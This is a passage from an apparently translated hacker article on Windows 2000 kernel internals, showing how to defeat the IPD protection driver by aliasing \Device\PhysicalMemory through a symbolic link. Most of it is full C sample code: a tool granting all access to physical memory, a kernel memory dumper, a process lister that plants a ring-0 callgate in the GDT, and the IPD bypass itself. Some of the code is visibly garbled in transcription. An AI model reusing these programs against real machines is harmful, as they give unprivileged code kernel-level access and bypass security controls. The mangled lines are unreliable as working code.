論如何,我都要繞過它的保護。為了限制通路/Device/PhysicalMemory, IPD hook了ZwOpenSection(),

并且檢查是否Section沒有通過調用/Device/PhysicalMemory來被打開。

---

from h_mem.c

  if (restrictEnabled()) {

  if (ObjectAttributes && ObjectAttributes-〉ObjectName &&

  ObjectAttributes-〉ObjectName-〉Length〉0) {

  if (_wcsicmp(ObjectAttributes-〉ObjectName-〉Buffer,

  L"//Device//PhysicaMemory")==0) {

  WCHAR buf[200];

  swprintf(buf,

  L"Blocking device/PhysicalMemory access,

  procid=0x%x/n", PsGetCurrentProcessId());

  debugOutput(buf);

  return STATUS_ACCESS_DENIED;

  }

  }

  }

---

  _wcsicmp()提供了兩個Unicode buffer的小寫比較,是以,我們想辦法用其他的名字打開對象。在

第一節中,我們已經看見有symbolic link對象類型,是以,如果我們可以用symbolic link對象連接配接到

/Device/PhysicalMemory,那不就很好了?

  通過檢視ntdll.dll的導出表,你可以找到一個叫"NtCreateSymbolicLinkObject"的函數,跟其他很

多有意思的東西一樣,它也沒有被公開。它的原型類似:

NTSTATUS NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle,

  ACCESS_MASK DesiredAccess,

  POBJECT_ATTRIBUTES ObAttributes,

  PUNICODE_STRING ObName);

  是以,我們隻需要用"/Device/PhysicalMemory"作為ObName來調用這個函數,并在OBJECT_ATTRIBUTES

結構中設定新的名字。我們用"/??/"作為對象的根目錄,那麼名字就是:"/??/hack_da_ipd"。

  起初,我問自己當用"/??/hack_da_ipd"來調用NtOpenSection的時候,核心怎麼來處理symbolic link。

如果NtOpenSection檢查目标對象是一個symbolic link,那麼就再次調用 NtOpenSection,并且用對象的

真實名字,我們的symbolic link沒有用處,因為IPD能探測得到。是以我跟蹤了一下:

---

[...]

3 NtCreateSymbolicLinkObject(0x1, {24, 0, 0x40, 0, 0,

  "/??/hack_da_ipd"}, 1245028, ... 48, ) == 0x0

4 NtAllocateVirtualMemory(-1, 1244448, 0, 1244480, 4096, 4, ... ) == 0x0

5 NtRequestWaitReplyPort(36, {124, 148, 0, 16711934, 4222620, 256, 0}, ...  

  {124, 148, 2, 868, 840, 7002, 0}, ) == 0x0

6 NtOpenSection (0x4, {24, 0, 0x40, 0, 0, "/??/hack_da_ipd"}, ... 44, )  

  == 0x0

7 NtRequestWaitReplyPort (36, {124, 148, 0, 868, 840, 7002, 0}, ... {124,

  148, 2, 868, 840, 7003, 0}, ) == 0x0

8 NtClose (44, ... ) == 0x0

9 NtClose (48, ... ) == 0x0

[...]

---

  (windows版的strace可以在BindView's RAZOR站點找到。 [7])

  正如你所見,NtOpenSection函數根本不會重調自己來處理真實的對象名字,這簡直太好了!這樣,

/Device/PhysicalMemory就完全的我們的了,而IPD簡直糟透了。記住,你必須在SYSTEM使用者下運作該程式。

--[ 5 示例代碼

LICENSE:

Sample code provided with the article may be copied/duplicated and modified

in any form as long as this copyright is prepended unmodified.

Code are proof of concept and the author can and must not be made

responsible for any damage/data loss.

Use this code at your own risk.

  crazylord / CNS

----[ 5.1 kmem.h

typedef struct _UNICODE_STRING {

  USHORT Length;

  USHORT MaximumLength;

  PWSTR Buffer;

} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_CASE_INSENSITIVE 0x00000040L

#define OBJ_KERNEL_HANDLE 0x00000200L

typedef LONG NTSTATUS;

#define STATUS_SUCCESS (NTSTATUS) 0x00000000L

#define STATUS_ACCESS_DENIED (NTSTATUS) 0xC0000022L

#define MAKE_DWORD(_l, _h) (DWORD) (_l | (_h 〈〈 16))

typedef struct _OBJECT_ATTRIBUTES {

  ULONG Length;

  HANDLE RootDirectory;

  PUNICODE_STRING ObjectName;

  ULONG Attributes;

  PVOID SecurityDescriptor;

  PVOID SecurityQualityOfService;

} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

// useful macros

#define InitializeObjectAttributes( p, n, a, r, s ) { /

  (p)-〉Length = sizeof( OBJECT_ATTRIBUTES ); /

  (p)-〉RootDirectory = r; /

  (p)-〉Attributes = a; /

  (p)-〉ObjectName = n; /

  (p)-〉SecurityDescriptor = s; /

  (p)-〉SecurityQualityOfService = NULL; /

  }

#define INIT_UNICODE(_var,_buffer) /

  UNICODE_STRING _var = { /

  sizeof (_buffer) - sizeof (WORD), /

  sizeof (_buffer), /

  _buffer }

// callgate info

typedef struct _KGDTENTRY {

  WORD LimitLow;

  WORD BaseLow;

  WORD BaseHigh;

} KGDTENTRY, *PKGDTENTRY;

typedef struct _CALLGATE_DESCRIPTOR {

  USHORT offset_0_15;

  USHORT selector;

  UCHAR param_count :4;

  UCHAR some_bits :4;

  UCHAR type :4;

  UCHAR app_system :1;

  UCHAR dpl :2;

  UCHAR present :1;

  USHORT offset_16_31;

} CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;

// section info

typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;

typedef enum _SECTION_INHERIT {

  ViewShare = 1,

  ViewUnmap = 2

} SECTION_INHERIT;

typedef struct _MAPPING {

PHYSICAL_ADDRESS pAddress;

PVOID vAddress;

DWORD Offset;

} MAPPING, *PMAPPING;

// symlink info

#define SYMBOLIC_LINK_QUERY (0x0001)

#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)

// process info

// Flink to _EPROCESS

#define TO_EPROCESS(_a) ((DWORD) _a - 0xA0)

// Flink to UniqueProcessId

#define TO_PID(_a) (DWORD) ((DWORD) _a - 0x4)

// Flink to ImageFileName

#define TO_PNAME(_a) (PCHAR) ((DWORD) _a + 0x15C)

typedef struct _DISPATCHER_HEADER {

UCHAR Type;

UCHAR Absolute;

UCHAR Size;

UCHAR Inserted;

LONG SignalState;

LIST_ENTRY WaitListHead;

} DISPATCHER_HEADER;

typedef struct _KEVENT {

DISPATCHER_HEADER Header;

} KEVENT, *PKEVENT;

typedef struct _FAST_MUTEX {

LONG Count;

PVOID Owner;

ULONG Contention;

KEVENT Event;

ULONG OldIrql;

} FAST_MUTEX, *PFAST_MUTEX;

// the two following definition come from w2k_def.h by Sven B. Schreiber

typedef struct _MMSUPPORT {

LARGE_INTEGER LastTrimTime;

DWORD LastTrimFaultCount;

DWORD PageFaultCount;

DWORD PeakWorkingSetSize;

DWORD WorkingSetSize;

DWORD MinimumWorkingSetSize;

DWORD MaximumWorkingSetSize;

PVOID VmWorkingSetList;

LIST_ENTRY WorkingSetExpansionLinks;

BOOLEAN AllowWorkingSetAdjustment;

BOOLEAN AddressSpaceBeingDeleted;

BYTE ForegroundSwitchCount;

BYTE MemoryPriority;

} MMSUPPORT, *PMMSUPPORT;

typedef struct _IO_COUNTERS {

ULONGLONG ReadOperationCount;

ULONGLONG WriteOperationCount;

ULONGLONG OtherOperationCount;

ULONGLONG ReadTransferCount;

ULONGLONG WriteTransferCount;

ULONGLONG OtherTransferCount;

} IO_COUNTERS, *PIO_COUNTERS;

// this is a very simplified version of the EPROCESS

// structure.

typedef struct _EPROCESS {

BYTE Pcb[0x6C];

NTSTATUS ExitStatus;

KEVENT LockEvent;

DWORD LockCount;

DWORD dw084;

LARGE_INTEGER CreateTime;

LARGE_INTEGER ExitTime;

PVOID LockOwner;

DWORD UniqueProcessId;

LIST_ENTRY ActiveProcessLinks; // see PsActiveListHead

DWORD QuotaPeakPoolUsage[2]; // NP, P

DWORD QuotaPoolUsage[2]; // NP, P

DWORD PagefileUsage;

DWORD CommitCharge;

DWORD PeakPagefileUsage;

DWORD PeakVirtualSize;

LARGE_INTEGER VirtualSize;

MMSUPPORT Vm;

LIST_ENTRY SessionProcessLinks;

DWORD dw108[6];

PVOID DebugPort;

PVOID ExceptionPort;

PVOID ObjectTable;

PVOID Token;

FAST_MUTEX WorkingSetLock;

DWORD WorkingSetPage;

BOOLEAN ProcessOutswapEnabled;

BOOLEAN ProcessOutswapped;

BOOLEAN AddressSpaceInitialized;

BOOLEAN AddressSpaceDeleted;

FAST_MUTEX AddressCreationLock;

KSPIN_LOCK HyperSpaceLock;

DWORD ForkInProgress;

WORD VmOperation;

BOOLEAN ForkWasSuccessful;

BYTE MmAgressiveWsTrimMask;

DWORD VmOperationEvent;

PVOID PaeTop;

DWORD LastFaultCount;

DWORD ModifiedPageCount;

PVOID VadRoot;

PVOID VadHint;

PVOID CloneRoot;

DWORD NumberOfPrivatePages;

DWORD NumberOfLockedPages;

WORD NextPageColor;

BOOLEAN ExitProcessCalled;

BOOLEAN CreateProcessReported;

HANDLE SectionHandle;

PVOID Peb;

PVOID SectionBaseAddress;

PVOID QuotaBlock;

NTSTATUS LastThreadExitStatus;

DWORD WorkingSetWatch;

HANDLE Win32WindowStation;

DWORD InheritedFromUniqueProcessId;

ACCESS_MASK GrantedAccess;

DWORD DefaultHardErrorProcessing; // HEM_*

DWORD LdtInformation;

PVOID VadFreeHint;

DWORD VdmObjects;

PVOID DeviceMap;

DWORD SessionId;

LIST_ENTRY PhysicalVadList;

PVOID PageDirectoryPte;

DWORD dw1F4;

DWORD PaePageDirectoryPage;

CHAR ImageFileName[16];

DWORD VmTrimFaultvalue;

BYTE SetTimerResolution;

BYTE PriorityClass;

WORD SubSystemVersion;

PVOID Win32Process;

PVOID Job;

DWORD JobStatus;

LIST_ENTRY JobLinks;

PVOID LockedPagesList;

PVOID SecurityPort;

PVOID Wow64;

DWORD dw234;

IO_COUNTERS IoCounters;

DWORD CommitChargeLimit;

DWORD CommitChargePeak;

LIST_ENTRY ThreadListHead;

PVOID VadPhysicalPagesBitMap;

DWORD VadPhysicalPages;

DWORD AweLock;

} EPROCESS, *PEPROCESS;

// copy ntdll.lib from Microsoft DDK to current directory

#pragma comment(lib, "ntdll")

#define IMP_SYSCALL __declspec(dllimport) NTSTATUS _stdcall 

IMP_SYSCALL

NtMapViewOfSection(HANDLE SectionHandle,

  HANDLE ProcessHandle,

  PVOID *BaseAddress,

  ULONG ZeroBits,

  ULONG CommitSize,

  PLARGE_INTEGER SectionOffset,

  PSIZE_T ViewSize,

  SECTION_INHERIT InheritDisposition,

  ULONG AllocationType,

  ULONG Protect);

IMP_SYSCALL

NtUnmapViewOfSection(HANDLE ProcessHandle,

  PVOID BaseAddress);

IMP_SYSCALL

NtOpenSection(PHANDLE SectionHandle,

  ACCESS_MASK DesiredAccess,

  POBJECT_ATTRIBUTES ObjectAttributes);

IMP_SYSCALL

NtClose(HANDLE Handle);

IMP_SYSCALL

NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle,

  ACCESS_MASK DesiredAccess,

  POBJECT_ATTRIBUTES ObjectAttributes,

  PUNICODE_STRING TargetName);

----[ 5.2 chmod_mem.c

#include 〈stdio.h〉

#include 〈windows.h〉

#include 〈aclapi.h〉

#include "../kmem.h"

void usage(char *n) {

  printf("usage: %s (/current | /user) [who]/n", n);

  printf("/current: add all access to current user/n");

  printf("/user : add all access to user 'who'/n");

  exit(0);

}

int main(int argc, char **argv) {

  HANDLE Section;

  DWORD Res;

  NTSTATUS ntS;

  PACL OldDacl=NULL, NewDacl=NULL;

  PSECURITY_DESCRIPTOR SecDesc=NULL;

  EXPLICIT_ACCESS Access;

  OBJECT_ATTRIBUTES ObAttributes;

  INIT_UNICODE(ObName, L"//Device//PhysicalMemory");

  BOOL mode;

  if (argc 〈 2)

  usage(argv[0]);

  if (!strcmp(argv[1], "/current")) {

  mode = 1;

  } else if (!strcmp(argv[1], "/user") && argc == 3) {

  mode = 2;

  } else

  usage(argv[0]);

  memset(&Access, 0, sizeof(EXPLICIT_ACCESS));

  InitializeObjectAttributes(&ObAttributes,

  &ObName,

  OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,

  NULL,

  NULL);

  // open handle de /Device/PhysicalMemory

  ntS = NtOpenSection(&Section, WRITE_DAC | READ_CONTROL, &ObAttributes);

  if (ntS != STATUS_SUCCESS) {

  printf("error: NtOpenSection (code: %x)/n", ntS);

  goto cleanup;

  }

  // retrieve a copy of the security descriptor

  Res = GetSecurityInfo(Section, SE_KERNEL_OBJECT, 

  DACL_SECURITY_INformATION, NULL, NULL, &OldDacl,

  NULL, &SecDesc);

  if (Res != ERROR_SUCCESS) {

  printf("error: GetSecurityInfo (code: %lu)/n", Res);

  goto cleanup;

  }

  Access.grfAccessPermissions = SECTION_ALL_ACCESS; // 

  Access.grfAccessMode = GRANT_ACCESS;

  Access.grfInheritance = NO_INHERITANCE;

  Access.Trustee.MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;

  // change these informations to grant access to a group or other user

  Access.Trustee.Trusteeform = TRUSTEE_IS_NAME;

  Access.Trustee.TrusteeType = TRUSTEE_IS_USER;

  if (mode == 1)

  Access.Trustee.ptstrName = "CURRENT_USER";

  else

  Access.Trustee.ptstrName = argv[2];

  // create the new ACL

  Res = SetEntriesInAcl(1, &Access, OldDacl, &NewDacl);

  if (Res != ERROR_SUCCESS) {

  printf("error: SetEntriesInAcl (code: %lu)/n", Res);

  goto cleanup;

  }

  // update ACL

  Res = SetSecurityInfo(Section, SE_KERNEL_OBJECT,

  DACL_SECURITY_INformATION, NULL, NULL, NewDacl, 

  NULL);

  if (Res != ERROR_SUCCESS) {

  printf("error: SetEntriesInAcl (code: %lu)/n", Res);

  goto cleanup;

  }

  printf("//Device//PhysicalMemory chmoded/n");

cleanup:

  if (Section)

  NtClose(Section);

  if (SecDesc)

  LocalFree(SecDesc);

  return(0);

}

----[ 5.3 winkdump.c

#include 〈stdio.h〉

#include 〈stdlib.h〉

#include 〈windows.h〉

#include "../kmem.h"

ULONG Granularity;

// thanx to kraken for the hexdump function

void hexdump(unsigned char *data, unsigned int amount) {

  unsigned int dp, p;

  const char trans[] =

  "................................ !/"#$%&'()*+,-./0123456789"

  ":;〈=〉[email protected][//]^_`abcdefghijklm"

  "nopqrstuvwxyz{|}~...................................."

  "....................................................."

  "........................................";

  for (dp = 1; dp 〈= amount; dp++) {

  printf ("%02x ", data[dp-1]);

  if ((dp % == 0)

  printf (" ");

  if ((dp % 16) == 0) {

  printf ("| ");

  p = dp;

  for (dp -= 16; dp 〈 p; dp++)

  printf ("%c", trans[data[dp]]);

  printf ("/n");

  }

  }

  if ((amount % 16) != 0) {

  p = dp = 16 - (amount % 16);

  for (dp = p; dp 〉 0; dp--) {

  printf (" ");

  if (((dp % == 0) && (p != 8))

  printf (" ");

  }

  printf (" | ");

  for (dp = (amount - (16 - p)); dp 〈 amount; dp++)

  printf ("%c", trans[data[dp]]);

  }

  printf ("/n");

  return ;

}

PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) {

  PHYSICAL_ADDRESS add;

  if (vAddress 〈 0x80000000L || vAddress 〉= 0xA0000000L)

  add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000;

  else

  add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000;

  return(add);

}

int InitSection(PHANDLE Section) {

  NTSTATUS ntS;

  OBJECT_ATTRIBUTES ObAttributes;

  INIT_UNICODE(ObString, L"//Device//PhysicalMemory");

  InitializeObjectAttributes(&ObAttributes,

  &ObString,

  OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,

  NULL,

  NULL);

  // open /Device/PhysicalMemory

  ntS = NtOpenSection(Section,

  SECTION_MAP_READ,

  &ObAttributes);

  if (ntS != STATUS_SUCCESS) {

  printf(" * error NtOpenSection (code: %x)/n", ntS);

  return(0);

  }

  return(1);

}

int main(int argc, char **argv) {

  NTSTATUS ntS;

  ULONG Address, Size, MappedSize, Offset;

  HANDLE Section;

  PVOID MappedAddress=NULL;

  SYSTEM_INFO SysInfo;

  PHYSICAL_ADDRESS pAddress;

  printf(" *** win2k memory dumper ***/n/n");

  if (argc != 3) {

  printf("usage: %s 〈address〉 〈size〉/n", argv[0]);

  return(0);

  }

  Address = strtoul(argv[1], NULL, 0);

  MappedSize = Size = strtoul(argv[2], NULL, 10);

  printf(" Virtual Address : 0x%.8x/n", Address);

  if (!Size) {

  printf("error: invalid size/n");

  return(0);

  }

  // get allocation granularity information

  GetSystemInfo(&SysInfo);

  Granularity = SysInfo.dwAllocationGranularity;

  printf(" Allocation granularity: %lu bytes/n", Granularity);

  if (!InitSection(&Section))

  return(0);

  Offset = Address % Granularity;

  MappedSize += Offset; // reajust mapping view

  printf(" Offset : 0x%x/n", Offset);

  pAddress = GetPhysicalAddress(Address - Offset);

  printf(" Physical Address : 0x%.16x/n", pAddress);

  ntS = NtMapViewOfSection(Section, (HANDLE) -1, &MappedAddress, 0L,

  MappedSize, &pAddress, &MappedSize, ViewShare,

  0, PAGE_READONLY);

  printf(" Mapped size : %lu bytes/n", MappedSize);

  printf(" View size : %lu bytes/n/n", Size);

  if (ntS == STATUS_SUCCESS) {

  hexdump((char *)MappedAddress+Offset, Size);

  NtUnmapViewOfSection((HANDLE) -1, MappedAddress);

  } else {

  if (ntS == 0xC00000F4L)

  printf("error: invalid physical address translation/n");

  else

  printf("error: NtMapViewOfSection (code: %x)/n", ntS);

  }

  NtClose(Section);

  return(0);

}

----[ 5.2 winkps.c

// code very messy but working 

#include 〈stdio.h〉

#include 〈windows.h〉

#include "../kmem.h"

// get this address from win2k symbols

#define PSADD 0x8046A180 // PsActiveProcessHead

// default base address for ntoskrnl.exe on win2k

#define BASEADD 0x7FFE0000 // MmGetPhysicalAddress

// max process, to prevent easy crashing

#define MAX_PROCESS 50

typedef struct _MY_CG {

  PHYSICAL_ADDRESS pAddress;

  PVOID MappedAddress;

  PCALLGATE_DESCRIPTOR Desc;

  WORD Segment;

  WORD LastEntry;

} MY_CG, *PMY_CG;

ULONG Granularity;

PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY) PSADD;

MY_CG GdtMap;

MAPPING CurMap;

PHYSICAL_ADDRESS (*MmGetPhysicalAddress) (PVOID BaseAddress);

void __declspec(naked) Ring0Func() {

  _asm {

  pushad

  pushf

  cli

  mov esi, CurMap.vAddress

  push esi

  call MmGetPhysicalAddress

  mov CurMap.pAddress, eax // save low part of LARGE_INTEGER

  mov [CurMap+4], edx // save high part of LARGE_INTEGER

  popf

  popad

  retf

  }

}

// function which call the callgate

PHYSICAL_ADDRESS NewGetPhysicalAddress(PVOID vAddress) {

  WORD farcall[3];

  HANDLE Thread = GetCurrentThread();

  farcall[2] = GdtMap.Segment;

  if(!VirtualLock((PVOID) Ring0Func, 0x30)) {

  printf("error: unable to lock function/n");

  CurMap.pAddress.QuadPart = 1;

  } else {

  CurMap.vAddress = vAddress; // ugly way to pass argument

  CurMap.Offset = (DWORD) vAddress % Granularity;

  (DWORD) CurMap.vAddress -= CurMap.Offset;

  SetThreadPriority(Thread, THREAD_PRIORITY_TIME_CRITICAL);

  Sleep(0);

  _asm call fword ptr [farcall]

  SetThreadPriority(Thread,THREAD_PRIORITY_NORMAL);

  VirtualUnlock((PVOID) Ring0Func, 0x30);

  }

  return(CurMap.pAddress);

}

PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) {

  PHYSICAL_ADDRESS add;

  if (vAddress 〈 0x80000000L || vAddress 〉= 0xA0000000L) {

  add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000;

  } else {

  add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000;

  }

  return(add);

}

void UnmapMemory(PVOID MappedAddress) {

  NtUnmapViewOfSection((HANDLE) -1, MappedAddress);

}

int InstallCallgate(HANDLE Section, DWORD Function) {

  NTSTATUS ntS;

  KGDTENTRY gGdt;

  DWORD Size;

  PCALLGATE_DESCRIPTOR CgDesc;

  _asm sgdt gGdt;

  printf("virtual address of GDT : 0x%.8x/n",

  MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh));

  GdtMap.pAddress =

  GetPhysicalAddress(MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh));

  printf("physical address of GDT: 0x%.16x/n", GdtMap.pAddress.QuadPart);

  Size = gGdt.LimitLow;

  ntS = NtMapViewOfSection(Section, (HANDLE) -1, &GdtMap.MappedAddress,

  0L, Size, &GdtMap.pAddress, &Size, ViewShare,

  0, PAGE_READWRITE);

  if (ntS != STATUS_SUCCESS || !GdtMap.MappedAddress) {

  printf("error: NtMapViewOfSection (code: %x)/n", ntS);

  return(0);

  }

  GdtMap.LastEntry = gGdt.LimitLow & 0xFFF8; // offset to last entry

  for(CgDesc = (PVOID) ((DWORD)GdtMap.MappedAddress+GdtMap.LastEntry),

  GdtMap.Desc=NULL;

  (DWORD) CgDesc 〉 (DWORD) GdtMap.MappedAddress;

  CgDesc--) {

  //printf("present:%x, type:%x/n", CgDesc-〉present, CgDesc-〉type);

  if(CgDesc-〉present == 0){

  CgDesc-〉offset_0_15 = (WORD) (Function & 0xFFFF);

  CgDesc-〉selector = 8;

  CgDesc-〉param_count = 0; //1;

  CgDesc-〉some_bits = 0;

  CgDesc-〉type = 12; // 32-bits callgate junior :〉

  CgDesc-〉app_system = 0; // A system segment

  CgDesc-〉dpl = 3; // Ring 3 code can call

  CgDesc-〉present = 1;

  CgDesc-〉offset_16_31 = (WORD) (Function 〉〉 16);

  GdtMap.Desc = CgDesc;

  break;

  }

  }

  if (GdtMap.Desc == NULL) {

  printf("error: unable to find free entry for installing callgate/n");

  printf(" not normal by the way .. your box is strange =]/n");

  }

  GdtMap.Segment =

  ((WORD) ((DWORD) CgDesc - (DWORD) GdtMap.MappedAddress))|3;

  printf("Allocated segment : %x/n", GdtMap.Segment);

  return(1);

}

int UninstallCallgate(HANDLE Section, DWORD Function) {

  PCALLGATE_DESCRIPTOR CgDesc;

  for(CgDesc = (PVOID) ((DWORD) GdtMap.MappedAddress+GdtMap.LastEntry);

  (DWORD) CgDesc 〉 (DWORD) GdtMap.MappedAddress;

  CgDesc--) {

  if((CgDesc-〉offset_0_15 == (WORD) (Function & 0xFFFF))

  && CgDesc-〉offset_16_31 == (WORD) (Function 〉〉 16)){

  memset(CgDesc, 0, sizeof(CALLGATE_DESCRIPTOR));

  return(1);

  }

  }

  NtUnmapViewOfSection((HANDLE) -1, GdtMap.MappedAddress);

  return(0);

}

void UnmapVirtualMemory(PVOID vAddress) {

  NtUnmapViewOfSection((HANDLE) -1, vAddress);

}

PVOID MapVirtualMemory(HANDLE Section, PVOID vAddress, DWORD Size) {

  PHYSICAL_ADDRESS pAddress;

  NTSTATUS ntS;

  DWORD MappedSize;

  PVOID MappedAddress=NULL;

  //printf("* vAddress: 0x%.8x/n", vAddress);

  pAddress = NewGetPhysicalAddress((PVOID) vAddress);

  //printf("* vAddress: 0x%.8x (after rounding, offset: 0x%x)/n",

  // CurMap.vAddress, CurMap.Offset);

  //printf("* pAddress: 0x%.16x/n", pAddress);

  // check for error (1= impossible value)

  if (pAddress.QuadPart != 1) {

  Size += CurMap.Offset; // adjust mapping view

  MappedSize = Size;

  ntS = NtMapViewOfSection(Section, (HANDLE) -1, &MappedAddress,

  0L, Size, &pAddress, &MappedSize, ViewShare,

  0, PAGE_READONLY);

  if (ntS != STATUS_SUCCESS || !MappedSize) {

  printf(" error: NtMapViewOfSection, mapping 0x%.8x (code: %x)/n",

  vAddress, ntS);

  return(NULL);

  }

  } else

  MappedAddress = NULL;

  printf("mapped 0x%x bytes @ 0x%.8x (init Size: 0x%x bytes)/n",

  MappedSize, MappedAddress, Size);

  return(MappedAddress);

}

void DisplayProcesses(HANDLE Section) {

  int i = 0;

  DWORD Padding;

  PEPROCESS CurProcess, NextProcess;

  PVOID vCurEntry, vOldEntry, NewMappedAddress;

  PLIST_ENTRY PsCur;

  // first we map PsActiveProcessHead to get first entry

  vCurEntry = MapVirtualMemory(Section, PsActiveProcessHead, 4);

  if (!vCurEntry)

  return;

  PsCur = (PLIST_ENTRY) ((DWORD) vCurEntry + CurMap.Offset);

  // most of EPROCESS struct are located around 0xfc[e-f]00000

  // so we map 0x100000 bytes (~ 1mb) to avoid heavy mem mapping

  while (PsCur-〉Flink != PsActiveProcessHead && i〈MAX_PROCESS) {

  NextProcess = (PEPROCESS) TO_EPROCESS(PsCur-〉Flink);

  //printf("==〉 Current process: %x/n", CurProcess);

  // we map 0x100000 bytes view so we store offset to EPROCESS

  Padding = TO_EPROCESS(PsCur-〉Flink) & 0xFFFFF;

  // check if the next struct is already mapped in memory

  if ((DWORD) vCurEntry〈= (DWORD) NextProcess 

  && (DWORD)NextProcess+sizeof(EPROCESS)〈(DWORD)vCurEntry+0x100000){

  // no need to remap

  // no remapping so we need to calculate the new address

  CurProcess = (PEPROCESS) ((DWORD) NewMappedAddress + Padding);

  } else {

  CurProcess = NextProcess;

  // unmap old view and map a new one

  // calculate next base address to map

  vOldEntry = vCurEntry;

  vCurEntry = (PVOID) (TO_EPROCESS(PsCur-〉Flink) & 0xFFF00000);

  //printf("link: %x, process: %x, to_map: %x, padding: %x/n",

  // PsCur-〉Flink, TO_EPROCESS(PsCur-〉Flink),

  // vCurEntry, Padding);

  // unmap old view

  UnmapVirtualMemory(vOldEntry);

  vOldEntry = vCurEntry;

  // map new view

  vCurEntry = MapVirtualMemory(Section, vCurEntry, 0x100000);

  if (!vCurEntry)

  break;

  // adjust EPROCESS structure pointer

  CurProcess =

  (PEPROCESS) ((DWORD) vCurEntry + CurMap.Offset + Padding);

  // save mapped address

  NewMappedAddress = vCurEntry;

  // restore pointer from mapped addresses space 0x4**** to

  // the real virtual address 0xf*******

  vCurEntry = vOldEntry;

  }

  // reajust pointer to LIST_ENTRY struct

  PsCur = &CurProcess-〉ActiveProcessLinks;

  printf(" + %lu/t %s/n", CurProcess-〉UniqueProcessId,

  CurProcess-〉ImageFileName[0] ?

  CurProcess-〉ImageFileName : "[system]");

  i++;

  }

  UnmapVirtualMemory(vCurEntry);

}

int main(int argc, char **argv) {

  SYSTEM_INFO SysInfo;

  OBJECT_ATTRIBUTES ObAttributes;

  NTSTATUS ntS;

  HANDLE Section;

  HMODULE hDll;

  INIT_UNICODE(ObString, L"//Device//PhysicalMemory");

  printf(" *** win2k process lister ***/n/n");

  GetSystemInfo(&SysInfo);

  Granularity = SysInfo.dwAllocationGranularity;

  printf("Allocation granularity: %lu bytes/n", Granularity);

  InitializeObjectAttributes(&ObAttributes,

  &ObString,

  OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,

  NULL,

  NULL);

  hDll = LoadLibrary("ntoskrnl.exe");

  if (hDll) {

  MmGetPhysicalAddress = (PVOID) ((DWORD) BASEADD +

  (DWORD) GetProcAddress(hDll, "MmGetPhysicalAddress"));

  printf("MmGetPhysicalAddress : 0x%.8x/n", MmGetPhysicalAddress);

  FreeLibrary(hDll);

  }

  ntS = NtOpenSection(&Section, SECTION_MAP_READ|SECTION_MAP_WRITE,

  &ObAttributes);

  if (ntS != STATUS_SUCCESS) {

  if (ntS == STATUS_ACCESS_DENIED)

  printf("error: access denied to open

  //Device//PhysicalMemory for r/w/n");

  else

  printf("error: NtOpenSection (code: %x)/n", ntS);

  goto cleanup;

  }

  if (!InstallCallgate(Section, (DWORD) Ring0Func))

  goto cleanup;

  memset(&CurMap, 0, sizeof(MAPPING));

  __try {

  DisplayProcesses(Section);

  } __except(UninstallCallgate(Section, (DWORD) Ring0Func), 1) {

  printf("exception: trying to clean callgate.../n");

  goto cleanup;

  }

  if (!UninstallCallgate(Section, (DWORD) Ring0Func))

  goto cleanup;

cleanup:

  if (Section)

  NtClose(Section);

  return(0);

}

----[ 5.4 fun_with_ipd.c

#include 〈stdio.h〉

#include 〈conio.h〉

#include 〈windows.h〉

#include "../kmem.h"

int main() {

  NTSTATUS ntS;

  HANDLE SymLink, Section;

  OBJECT_ATTRIBUTES ObAttributes;

  INIT_UNICODE(ObName, L"//Device//PhysicalMemory");

  INIT_UNICODE(ObNewName, L"//??//hack_da_ipd");

  InitializeObjectAttributes(&ObAttributes,

  &ObNewName,

  OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,

  NULL,

  NULL);

  ntS = NtCreateSymbolicLinkObject(&SymLink, SYMBOLIC_LINK_ALL_ACCESS,

  &ObAttributes, &ObName);

  if (ntS != STATUS_SUCCESS) {

  printf("error: NtCreateSymbolicLinkObject (code: %x)/n", ntS);

  return(0);

  }

  ntS = NtOpenSection(&Section, SECTION_MAP_READ, &ObAttributes);

  if (ntS != STATUS_SUCCESS)

  printf("error: NtOpenSection (code: %x)/n", ntS);

  else {

  printf("//Device//PhysicalMemory opened !!!/n");

  NtClose(Section);

  }

  // now you can do what you want

  getch();

  NtClose(SymLink);

  return(0);

}

--[ 6 - 結論

  我希望本文能幫助你明白基本的Windows核心對象操作。據我所知,你可以完全跟linux's /dev/kmem

一樣做任何事情,而且沒有任何限制,簡直超出了你的想象。 

  我也希望本文能讓Linux的纨绔子弟去讀讀。 (Refdom: 嘿嘿)

  Thankx to CNS, u-n-f and subk dudes, ELiCZ for some help and finally

syn/ack oldschool people (wilmi power) =]

--[ 7 - References

[1] Sysinternals - http://www.sysinternals.com/

[2] Microsoft DDK - www.microsoft.com/DDK/

[3] unofficial ntifs.h - http://www.insidewindows.info/

[4] www.chapeaux-noirs.org/win/

[5] Intel IA-32 Software Developper manual - developer.intel.com

[6] Pedestal Software - http://www.pedestalsoftware.com/

[7] BindView's RAZOR - razor.bindview.com

[8] Open Systems Resources - http://www.osr.com/

[9] MSDN - msdn.microsoft.com

books:

 * Undocumented Windows 2000 Secrets, A Programmer's Cookbook

  (http://www.orgon.com/w2k_internals/)

 * Inside Microsoft Windows 2000, Third Edition

  (http://www.microsoft.com/mspress/books/4354.asp)

 * Windows NT/2000 Native API Reference